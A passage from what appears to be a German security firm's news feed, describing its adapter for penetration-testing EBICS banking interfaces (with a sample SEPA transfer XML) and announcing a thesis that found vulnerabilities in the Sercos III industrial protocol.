   <OrderData>QVxZstBCo/V/AIrGJyHwmNvkzPmD0VzGRa+As+dU8fLM0ZukvjYdTVgvLkFuTJ5DwCArGGmB3fj71gmzCBzsVbbNJV31FBBkICDb8X2/Fi+jVGtV3ayiDortMseCv9UZ74eEkHCLzslL+ND94uA1rWDr8iCnhMKSUoentnrXudV4QFyK1TFvU81OLKpOUOjQ9B6YR4ePWmfUNO3htzc1LVpGAt3XTkDduo0ucYhfVjilfu+Cc6cxNNXU85lfOipu331sIsGvppyZej6iJn5g5HZSPVYzt9sDFK+iy+gMKa0f5xbZdEgmsME3nYUfnWZWSehrHxnXDOVd4z5/O0A8b7kRokHzQmGubjP1wgLjQidvS+bNXxW9P9kzzF7jrlOTABMbaY/w6a2H2D3cYlsxlkRD5mtIctJfKfYk2pkqHXF7xzviRpnNYosHENN/9O8QOY8eIwA6IT3z/teUIpYEp565rXVvlfu+Psq5[…]</OrderData>
  </DataTransfer>
 </body>
</ebicsRequest>

Ändert man nun etwas an den Daten, schlägt die Nachrichtenvalidierung der (Webservice-)Schnittstelle zu und verwirft die Nachricht, da entweder

  • Das Nachrichtenformat nicht dem Schema entspricht,
  • Der Inhalt nicht entschlüsselt werden konnte oder
  • Die Signatur nicht stimmt.

Man tut sich also schwer etwas an den eigentlichen Nutzdaten zu verändern. Folglich wird nur an der Oberfläche gekratzt.

Die Lösung

Wer keinen exorbitant hohen manuellen Prüfaufwand einsetzen möchte, muss also die Clientsoftware nutzen, um korrekt signierte Nachrichten zu erzeugen, um die Angriffsinhalte (Payloads) zu transportieren.

Hier haben wir uns etwas einfallen lassen: Um eine Brücke zwischen den gängigen Werkzeugen und dem EBIC-Standard zu schlagen und sozusagen zwischen der Pentest- und der EBICS-Welt zu übersetzen, hat die secuvera einen EBICS Pentest Adapter entwickelt. Mit diesem Werkzeug ist es uns möglich, Angriffsvektoren in die einzelnen Nachrichtenfelder automatisiert oder händisch einzuschleusen.

Im Falle der automatisierten Prüfung werden gängige Werkzeuge wie z. B. der Web Vulnerability Scanner aus dem Hause Acunetix auf den Adapter angesetzt, um die Angriffsinhalte (Payloads) in die einzelnen Nachrichtenfelder einzutragen und die Antworten auf Verwundbarkeiten zu überprüfen. Dies bildet die Grundlage für weitere, überwiegend semi-automatisierte oder manuelle Prüfungen.

Bei den auf die automatisierten Prüfungen folgenden manuellen Prüfungen unterstützt der entwickelte Adapter ebenfalls.

Wie im fiktiven Beispiel (siehe oben) gezeigt wird die Anfrage z. B. in der Transaktionsphase vor dem Codieren dem Penetrationstester zur manuellen Modifikation präsentiert. Das XML-Dokument, das als „OrderData“ übertragen wurde, sieht zum Beispiel im Werkzeug dann so aus:

 <?xml version="1.0" encoding="UTF-8"?>
<Document xmlns="urn:iso:std:iso:20022:tech:xsd:pain.001.003.03" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:iso:std:iso:20022:tech:xsd:pain.001.003.03 pain.001.003.03.xsd">
 <CstmrCdtTrfInitn>
  <GrpHdr>
   <MsgId>Message-ID-4711</MsgId>
   <CreDtTm>2010-11-11T09:30:47.000Z</CreDtTm>
   <NbOfTxs>2</NbOfTxs>
   <InitgPty>
    <Nm>Initiator Name</Nm>
   </InitgPty>
  </GrpHdr>
  <PmtInf>
   <PmtInfId>Payment-Information-ID-4711</PmtInfId>
   <PmtMtd>TRF</PmtMtd>
   <BtchBookg>true</BtchBookg>
   <NbOfTxs>2</NbOfTxs>
   <CtrlSum>0.03</CtrlSum>
   <PmtTpInf>
    <InstrPrty>NORM</InstrPrty>
    <SvcLvl>
     <Cd>SEPA</Cd>
    </SvcLvl>
   </PmtTpInf>
   <ReqdExctnDt>2010-11-25</ReqdExctnDt>
   <Dbtr>
    <Nm>Debtor Name</Nm>
   </Dbtr>
   <DbtrAcct>
    <Id>
     <IBAN>DE1200700200012345001</IBAN>
    </Id>
   </DbtrAcct>
   <DbtrAgt>
    <FinInstnId>
     <BIC>DETESTB000</BIC>
    </FinInstnId>
   </DbtrAgt>
   <ChrgBr>SLEV</ChrgBr>
   <CdtTrfTxInf>
    <PmtId>
     <EndToEndId>OriginatorID1234</EndToEndId>
    </PmtId>
    <Amt>
     <InstdAmt Ccy="EUR">0.01</InstdAmt>
    </Amt>
    <CdtrAgt>
     <FinInstnId>
      <BIC>DETESTB000</BIC>
     </FinInstnId>
    </CdtrAgt>
    <Cdtr>
     <Nm>Creditor Name</Nm>
    </Cdtr>
    <CdtrAcct>
     <Id>
      <IBAN>DE1200700200012345001</IBAN>
     </Id>
    </CdtrAcct>
    <RmtInf>
     <Ustrd>Unstructured Remittance Information</Ustrd>
    </RmtInf>
   </CdtTrfTxInf>
   <CdtTrfTxInf>
    <PmtId>
     <EndToEndId>OriginatorID1235</EndToEndId>
    </PmtId>
    <Amt>
     <InstdAmt Ccy="EUR">0.02</InstdAmt>
    </Amt>
    <CdtrAgt>
     <FinInstnId>
      <BIC>DETESTB000</BIC>
     </FinInstnId>
    </CdtrAgt>
    <Cdtr>
     <Nm>Other Creditor Name</Nm>
    </Cdtr>
    <CdtrAcct>
     <Id>
      <IBAN>DE1200700200012345001</IBAN>
     </Id>
    </CdtrAcct>
    <RmtInf>
     <Ustrd>Unstructured Remittance Information</Ustrd>
    </RmtInf>
   </CdtTrfTxInf>
  </PmtInf>
 </CstmrCdtTrfInitn>
</Document>

Jetzt kann der Nachrichten- bzw. Transaktionsinhalt nach Belieben entlang der vorab durch den Prüfer definierten Testfälle verändert werden. Zum Beispiel könnte beliebiger Schadcode in den Verwendungszweck der Überweisung eingetragen werden oder die Kontoinformationen verändert werden, um ein anderes. Danach wird die händisch veränderte Anfrage wieder automatisch codiert, damit diese wie im Beispiel oben gezeigt aussieht und an die Schnittstelle gesendet. Selbstredend wird das Ergebnis dem Prüfer präsentiert, um entlang der EBICS-Antwortcodes den (Miss)Erfolg des Angriffs zu bewerten.

Fazit

Das Testen mit Standardsoftware bringt nur eine mittlere Prüftiefe bei vergleichsweise viel investiertem Aufwand. Die Entwicklung des Adapters ermöglicht uns bei Penetrationstests von EBICS-Schnittstellen in die Tiefen der verarbeitenden Systeme vorzudringen und nicht „an der Webservice-Tür abgewiesen“ zu werden. Der manuelle Prüfaufwand von EBICS-Schnittstellenprüfungen wird damit deutlich reduziert, da die gängigen Penetrationstestwerkzeuge zur Unterstützung herangezogen werden können und händische Prüfungen zusätzlich vereinfacht werden.

Prüfung mit StandardwerkzeugenPrüfungen mit Standard EBICS-ClientsoftwarePrüfungen mit secuvera Pentest-Adapter
In die Prüfung investierter Aufwandnormalnormalmoderatsehr hochmoderat
Mit dem Aufwand erreichte Prüftiefegeringgeringmittelmittel+
tief

Werbung in eigener Sache

Sofern Sie Ihre EBICS-Schnittstelle einem tiefgehenden Penetrationstest unterziehen möchten, sprechen Sie uns gerne an – wir erstellen gerne ein individuell auf Ihre Schnittstelle passendes Angebot.

]]>
Sicherheitsanalyse von industriellen Kommunikationsprotokollen https://www.secuvera.de/aktuelles/sicherheitsanalyse-von-industriellen-kommunikationsprotokollen/ Tue, 04 Dec 2018 10:03:22 +0000 https://www.secuvera.de/?p=3367 weiterlesen ...]]> Im Rahmen seiner Bachelorarbeit an der Hochschule Esslingen untersuchte Ruben Konrad betreut durch secuvera das Industrieprotokoll Sercos III. Anhand von Analysen der Sercos III-Spezifikation wurden dabei potentielle Schwachstellen identifiziert. Die potentiellen Schwachstellen betreffen alle die Nicht-Echtzeitprotokolle des Protokolls. Es wurden weitere produktspezifische Schwachstellen durch Analysen und Tests an den einzelnen Slaves gefunden und verifiziert. Insgesamt wurden fünf Schwachstellen identifiziert.

Der hier veröffentlichte Technical Report ist eine Zusammenfassung der Ergebnisse der Bachelorthesis und beschreibt alle gefundenen Schwachstellen im Detail. Die Namen der getesteten Sercos-Komponenten werden in dem Dokument nicht veröffentlicht. Es wird für alle gefundenen Probleme ein Lösungsansatz skizziert.

Die Arbeit wurde im Rahmen einer Kooperation mit Steinbeis Embedded Systems Technologies unterstützt.

Download Sercos Security-Analyse

secuvera beschäftigt sich seit Jahren mit Sicherheitsaspekten in Industrie 4.0. Seit 2018 sind wir Prüflabor des TüV Nord für Prüfungen nach 62443. Haben Sie Fragen zu Sicherheit in Industrie 4.0? Rufen Sie uns direkt an oder nutzen Sie das Kontaktformular.

]]>